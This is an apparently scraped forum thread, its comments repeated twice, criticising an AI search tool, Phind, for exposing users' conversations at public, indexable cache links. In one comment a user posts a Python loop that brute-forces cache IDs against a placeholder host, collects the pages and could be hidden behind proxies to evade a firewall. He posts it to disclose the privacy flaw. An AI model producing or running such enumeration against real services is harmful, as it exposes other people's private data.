6 ms·

This puts everything I ask it on the internet. Is the intend to build something like an AI StackOverflow this way? That should not be enabled by default. If a

by TekMol 3y ago

This puts everything I ask it on the internet. Is the intend to build something like an AI StackOverflow this way? That should not be enabled by default. If anything, it should ask the user "Are you ok with putting your question and the answer on the open internet?". And it should only be enabled for logged in users. And users should have a way to delete their conversations with Phind again. It looks like there are already a bunch of conversations indexed by Google: https://www.google.com/search?q=site:phind.com https://www.google.com/search?q=site:phind.com

soultrees 3y ago
Whoa what. This a game breaker. I’ve been using this tool for some personal side project stuff and had no idea that this was happening. Whoa. Not good. To edit: I was never expecting full privacy as I assumed everything being fed into your service was being padded to your data set to make phind a competently fine tuned agent, but open web is not good. In the end, the amount of times I’ve sworn at your bot with some foul language after it forgets everything on the 3rd chain and I have to go back and redo everything, will probably harm your seo if those swears get published. Just saying.
- rushingcreek 3y ago
  The cached link is currently shareable but won’t get indexed anywhere unless you yourself share it somewhere like Twitter. But we’ve heard the community’s concern about security through obscurity and we will address this shortly.
  - _3ruj 3y ago
    Are the 'cached' pages eventually deleted? I've seen some shared `https://www.phind.com/search?cache= https://www.phind.com/search?cache=*` URLs which redirect to the Phind landing page. Wiping these pages would not be good from the preservation standpoint, especially since the URL doesn't seem human-readable.
  - hanselot 3y ago
    So how hard would it be to brute-force to some share links then? I have been using this for a lot of searching.Should probably have read the ToS. But to be fair, it feels way worse to use now than when it came out, so I guess I won't lose much by switching away at this point. I hate this thing assuming it knows what I want. Previously it had predictable behaviour, and acted like a slow LLM powered search engine. Now I do a search and it starts asking me shit. I already tabbed away to three other places to do similar searches and come back to some half baked shit that has nothing to do with what I searched for. Plus I have to wait for it to go and do inference again before I can get to a link? Why forget all the things that search engines got right over the years, but keep all the shit they got wrong? https://www.phind.com/agent?cache=cll1bg5np0005l008molmt7d2 https://www.phind.com/agent?cache=cll1bg5np0005l008molmt7d2 import random import string import requests # Static prefix prefix = "cll1" # An empty set to store the cache links we've already tried tried_links = set() # Website URL url = "http://target.com/agent?cache=" # Dictionary to store cachelink and its response text cache_link_dict = {} while True: # Generate a random 21 character base 36 encoded string suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=21)) # Combine the prefix and suffix to create the cache link cache_link = prefix + suffix # Continue with a new loop iteration if we've already tried this link if cache_link in tried_links: continue # Add the cache link to our set of tried links tried_links.add(cache_link) # Make a request to the website with the cache link response = requests.get(url + cache_link) # Store the cachelink and its response text in the dictionary cache_link_dict[cache_link] = response.text # Add a delay between requests to avoid overwhelming the server time.sleep(1) So it took 17 minutes to use your website to create the code needed to start enumerating these links. Now given, I am pretty sure a large number of these will return nothing, but I am also willing to bet there are people that put GDPR data into these searches, perhaps a lookup of a phone number, or an address, names? It would be quite trivial adding in the code to run these requests through a pool of proxies so they don't trigger anything too suspicious on your WAF. I don't think I'm particularly skilled either, so if I can do this, I'm sure someone already has.
    - rushingcreek 3y ago
      You can still use the basic search mode if you prefer maximum control.
  - jbellis 3y ago
    fwiw I do like how easy it is to share conversations now. if you change it, please make the friction to sharing minimal.
    - rushingcreek 3y ago
      I think that we'll made it private by default but with an easy "share" button you can click that opens it up.
kaivi 3y ago
Yandex seems to have crawled many more results, some conversations are quite hilarious: https://yandex.com/search/?text=site%253Aphind.com https://yandex.com/search/?text=site%253Aphind.com
- rushingcreek 3y ago
  All of these links are examples that we ourselves have posted on our homepage.
rushingcreek 3y ago
You're right -- we need to have a way to make conversations fully private for logged in users. We'll work on this and will introduce more options for data privacy. Please feel free to reach out to me at michael@phind.com to chat further. That said, no Phind links will be indexed unless you actively share the link to your conversation on an indexable site (like Twitter), which implies that you wish the link to be public anyway. I assure you that this is not an intentional dark pattern.
- soultrees 3y ago
  Until this happens and until you can verify that you’re not indexing every conversation to the open web, this is enough for me to full-stop using your service. I was under no impression whatsoever that the threads were made public.
  - rushingcreek 3y ago
    We're not indexing every conversation to the open web. We've only seen this happen for threads that are deliberately shared publicly by the user. Please feel free to reach out to me personally at michael@phind.com and I'd be happy to discuss this further.
- ssgodderidge 3y ago
  It’s a lot easier to start with privacy as a focus. It’s a lot harder to plug up all the holes after a public launch. Looking forward to a lot of public updates! Repost back on HN when you all have resolved and I’ll start using the tool again.
- TekMol 3y ago
  Not only for logged in users. Even more so for users who are not logged in. I find it very surprising that I type something into your service and that gets hosted on the open internet for everybody to see. And as a logged out user, I have no way to ever delete it. For logged out users, you really should not store the input at all.
  - 3y ago
foob 3y ago
This is frankly disgusting behavior. There's zero indication on the homepage that your questions and interactions will be published and indexed on Google, and I think it's an obvious expectation that they wouldn't be in the absence of informed consent. It's common to include proprietary code or sensitive business details when engaging with a tool like this, and it's a vantablack level dark pattern to make that information publicly available as an "SEO growth hack" without informing the user. EDIT: It sounds like this might not be what is happening. @rushingcreek's original reply seemed to confirm it, and was only edited to add more information after I left this comment.
- rushingcreek 3y ago
  Nothing will be indexed unless you actively share the link to your conversation on an indexable site (like Twitter), which implies that you wish the link to be public anyway. I assure you that this is not an intentional dark pattern.
  - Racing0461 3y ago
    Chrome and other browsers use autocomplete to get websites to crawl.
    - 7moritz7 3y ago
      Are you sure? https://blogs.perficient.com/2017/03/15/does-google-use-chrome-to-discover-new-urls-for-crawling/ https://blogs.perficient.com/2017/03/15/does-google-use-chro...
  - iandanforth 3y ago
    The problem is that you create such links by default. I should not be able to open a link to a specific conversation and view that conversation 1. Unless I'm logged in and I have specific permission to view that item or 2. I have actively created a 'sharable' link. People can type anything into these boxes, and if it's PII then you're on the hook for GDPR (not to mention the California equivalents) and implicit sharing and security through obscurity are not viewed favorably under those laws.
deleted 3y ago
[deleted]

by TekMol 3y ago

soultrees 3y ago

Whoa what. This a game breaker. I’ve been using this tool for some personal side project stuff and had no idea that this was happening. Whoa. Not good. To edit: I was never expecting full privacy as I assumed everything being fed into your service was being padded to your data set to make phind a competently fine tuned agent, but open web is not good. In the end, the amount of times I’ve sworn at your bot with some foul language after it forgets everything on the 3rd chain and I have to go back and redo everything, will probably harm your seo if those swears get published. Just saying.

rushingcreek 3y ago
The cached link is currently shareable but won’t get indexed anywhere unless you yourself share it somewhere like Twitter. But we’ve heard the community’s concern about security through obscurity and we will address this shortly.
- _3ruj 3y ago
  Are the 'cached' pages eventually deleted? I've seen some shared `https://www.phind.com/search?cache= https://www.phind.com/search?cache=*` URLs which redirect to the Phind landing page. Wiping these pages would not be good from the preservation standpoint, especially since the URL doesn't seem human-readable.
- hanselot 3y ago
  So how hard would it be to brute-force to some share links then? I have been using this for a lot of searching.Should probably have read the ToS. But to be fair, it feels way worse to use now than when it came out, so I guess I won't lose much by switching away at this point. I hate this thing assuming it knows what I want. Previously it had predictable behaviour, and acted like a slow LLM powered search engine. Now I do a search and it starts asking me shit. I already tabbed away to three other places to do similar searches and come back to some half baked shit that has nothing to do with what I searched for. Plus I have to wait for it to go and do inference again before I can get to a link? Why forget all the things that search engines got right over the years, but keep all the shit they got wrong? https://www.phind.com/agent?cache=cll1bg5np0005l008molmt7d2 https://www.phind.com/agent?cache=cll1bg5np0005l008molmt7d2 import random import string import requests # Static prefix prefix = "cll1" # An empty set to store the cache links we've already tried tried_links = set() # Website URL url = "http://target.com/agent?cache=" # Dictionary to store cachelink and its response text cache_link_dict = {} while True: # Generate a random 21 character base 36 encoded string suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=21)) # Combine the prefix and suffix to create the cache link cache_link = prefix + suffix # Continue with a new loop iteration if we've already tried this link if cache_link in tried_links: continue # Add the cache link to our set of tried links tried_links.add(cache_link) # Make a request to the website with the cache link response = requests.get(url + cache_link) # Store the cachelink and its response text in the dictionary cache_link_dict[cache_link] = response.text # Add a delay between requests to avoid overwhelming the server time.sleep(1) So it took 17 minutes to use your website to create the code needed to start enumerating these links. Now given, I am pretty sure a large number of these will return nothing, but I am also willing to bet there are people that put GDPR data into these searches, perhaps a lookup of a phone number, or an address, names? It would be quite trivial adding in the code to run these requests through a pool of proxies so they don't trigger anything too suspicious on your WAF. I don't think I'm particularly skilled either, so if I can do this, I'm sure someone already has.
  - rushingcreek 3y ago
    You can still use the basic search mode if you prefer maximum control.
- jbellis 3y ago
  fwiw I do like how easy it is to share conversations now. if you change it, please make the friction to sharing minimal.
  - rushingcreek 3y ago
    I think that we'll made it private by default but with an easy "share" button you can click that opens it up.

kaivi 3y ago

Yandex seems to have crawled many more results, some conversations are quite hilarious: https://yandex.com/search/?text=site%253Aphind.com https://yandex.com/search/?text=site%253Aphind.com

rushingcreek 3y ago
All of these links are examples that we ourselves have posted on our homepage.

rushingcreek 3y ago

You're right -- we need to have a way to make conversations fully private for logged in users. We'll work on this and will introduce more options for data privacy. Please feel free to reach out to me at michael@phind.com to chat further. That said, no Phind links will be indexed unless you actively share the link to your conversation on an indexable site (like Twitter), which implies that you wish the link to be public anyway. I assure you that this is not an intentional dark pattern.

soultrees 3y ago
Until this happens and until you can verify that you’re not indexing every conversation to the open web, this is enough for me to full-stop using your service. I was under no impression whatsoever that the threads were made public.
- rushingcreek 3y ago
  We're not indexing every conversation to the open web. We've only seen this happen for threads that are deliberately shared publicly by the user. Please feel free to reach out to me personally at michael@phind.com and I'd be happy to discuss this further.
ssgodderidge 3y ago
It’s a lot easier to start with privacy as a focus. It’s a lot harder to plug up all the holes after a public launch. Looking forward to a lot of public updates! Repost back on HN when you all have resolved and I’ll start using the tool again.
TekMol 3y ago
Not only for logged in users. Even more so for users who are not logged in. I find it very surprising that I type something into your service and that gets hosted on the open internet for everybody to see. And as a logged out user, I have no way to ever delete it. For logged out users, you really should not store the input at all.
- 3y ago

foob 3y ago

This is frankly disgusting behavior. There's zero indication on the homepage that your questions and interactions will be published and indexed on Google, and I think it's an obvious expectation that they wouldn't be in the absence of informed consent. It's common to include proprietary code or sensitive business details when engaging with a tool like this, and it's a vantablack level dark pattern to make that information publicly available as an "SEO growth hack" without informing the user. EDIT: It sounds like this might not be what is happening. @rushingcreek's original reply seemed to confirm it, and was only edited to add more information after I left this comment.

rushingcreek 3y ago
Nothing will be indexed unless you actively share the link to your conversation on an indexable site (like Twitter), which implies that you wish the link to be public anyway. I assure you that this is not an intentional dark pattern.
- Racing0461 3y ago
  Chrome and other browsers use autocomplete to get websites to crawl.
  - 7moritz7 3y ago
    Are you sure? https://blogs.perficient.com/2017/03/15/does-google-use-chrome-to-discover-new-urls-for-crawling/ https://blogs.perficient.com/2017/03/15/does-google-use-chro...
- iandanforth 3y ago
  The problem is that you create such links by default. I should not be able to open a link to a specific conversation and view that conversation 1. Unless I'm logged in and I have specific permission to view that item or 2. I have actively created a 'sharable' link. People can type anything into these boxes, and if it's PII then you're on the hook for GDPR (not to mention the California equivalents) and implicit sharing and security through obscurity are not viewed favorably under those laws.

deleted 3y ago

[deleted]